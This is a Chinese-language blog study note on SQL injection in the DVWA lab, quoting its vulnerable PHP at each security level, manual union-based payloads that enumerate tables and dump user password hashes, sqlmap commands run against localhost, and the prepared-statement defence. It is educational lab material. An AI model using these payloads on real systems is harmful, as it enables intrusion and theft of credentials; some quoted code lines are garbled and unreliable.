信安学习day3:SQL注入

SQL注入的介绍:

什么是SQL注入:

          在输入字符串中注入SQL指令,在设计不良的程序中忽略了字符检查,则这些注入进去的恶意指令就会被数据库服务器误认为是正常SQL指令而运行。

           这里跟昨天的命令执行漏洞有点像,都是利用开发程序人未对输入语句进行检查和判断,只不过SQL注入会更针对于数据库服务器。

SQL是什么?:

                          用于操控数据库的语言

Select ticket from moive where movie_name= ’tom’——正常SQL语句

Select ticket from moive where movie_name= ’tom’ order by 1#’——使用SQL注入,改变了原语句的意思

SQL注入的使用

先从安全性为low开始研究:

 关键在于:$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";——输入语句
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}

?> 

输入:SELECT first_name, last_name FROM users WHERE user_id = '1’ and 1 = 1 #’ ;

执行时,SQL语句发生变化,在进行原有查询’1’完成后,判断1=1(对的),判断正确则才会有输出(#作用是注释后续的SQL语句)

输入:SELECT first_name, last_name FROM users WHERE user_id = '1’ and 1 = 2 #’ ;

这个判断语句是错误的,因此就不会出现结果,注意这里的错误是语法错误,因此不会直接报错,而是不返回结果,这证明此时网页中就出现了SQL漏洞

 通过两次尝试(正常输出,错误输出)可以证明SQL语句生效,存在SQL注入漏洞。

 utility:

1.判断列的字段数:order by column_num

SELECT first_name, last_name FROM users WHERE user_id = '1’ order by 1 #’ ;

SELECT first_name, last_name FROM users WHERE user_id = '1’ order by 2 #’ ;

SELECT first_name, last_name FROM users WHERE user_id = '1’ order by 3 #’ ;

这时order by 3报错,证明此数据库里只有2列的字段数

 

 

2.联合查询其他信息union select sql1 sql2

SELECT first_name, last_name FROM users WHERE user_id = '1’ union select user(),database()#’ ;

用户输入了SQL语句,执行了Mysql内置函数user()(当前数据库用户)和database()(数据库名称)

3.联合查询表:union select table_name from information_schema.tables where table_schema= ’database_name’#’;

SELECT first_name, last_name FROM users WHERE user_id = '1’ union select table_name from information_schema.tables where table_schema= ’dvwa’#’;

查看dvwa里有什么数据库

用户输入SQL语句,从information_schema数据库中查询dvwa数据库表

4.联合查询信息 union query_sql

SELECT first_name, last_name FROM users WHERE user_id = '1’ union select user,password from users #’ ;

 

此密码是Md5加密的,可以进行破解(通过字典,遍历,暴力)

使用sqlmap (更简便,更快)

启动!sqlmap:在有sqlmap的文件里打开终端输入:

python sqlmap.py

第一步:检测漏洞:python sqlmap.py -u "地址" 

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=5lg46prml89lu1cv490jj41i6d; security=low"

——我们使用的DVWA,需要登录,所以我们需要给一个cookie,一个允许访问权限

这里我们可以知道此时sqlmap探测的结果,并反馈回来,得知它是有此漏洞的。 

第二步获取数据库名:

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=5lg46prml89lu1cv490jj41i6d; security=low" --dbs

--dbs:database server获取所有数据库名

 

第三步:获取指定数据库表

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=5lg46prml89lu1cv490jj41i6d; security=low" -D dvwa --tables

-D:指定想要获取的数据库名为dvwa;

--tables:列出数据库表

第四步:获取指定数据库列或表项:

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=5lg46prml89lu1cv490jj41i6d; security=low" -D dvwa -T users --columns

-T:table指定想要获取的表名为users

--columns:列出表项/列

 

 第五步:获取数据

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=5lg46prml89lu1cv490jj41i6d; security=low" -D dvwa -T users --dump

--dump:读取数据

 

SQL注入的防御

过滤用户输入内容,不让输入sql语句:将特殊符号判断为空或不执行;

security medium:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Display values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

 关键句: $id mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);——————mysqli_real_escape_string转义字符串中的字符,将特殊字符转换

解决方法:避免出现’’的出现,将dvwa替换为database()或者0x64767761

SELECT first_name, last_name FROM users WHERE user_id = '1’ union select table_name,table_schema from information_schema.tables where table_schema= database()#’;

SELECT first_name, last_name FROM users WHERE user_id = '1’ union select table_name,table_schema from information_schema.tables where table_schema= 0x64767761#’;

security high:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

?>

关键句:$query  "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";——添加了限制,缺少对传入数据的过滤

security impossible:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );                
$data->execute();
                $row = $data->fetch();


                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // Get values
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // Feedback for end user
                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

关键句: 

// Was a number entered?————这里做了后端格式验证,具体分析
    if(is_numeric$id )) {——判断是否是数字
        $id intval ($id);——再次确认
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database————做了SQL预处理,PDO(配合正确的过滤和sql语句能避免sql注入)
                $data $db->prepare'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );——进行SQL预处理
                $data->bindParam':id'$idPDO::PARAM_INT );——绑定输入参数,并再次指定为整形
                $data->execute();
                $row $data->fetch();

这样的防御就可以完全避免sql漏洞的出现了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值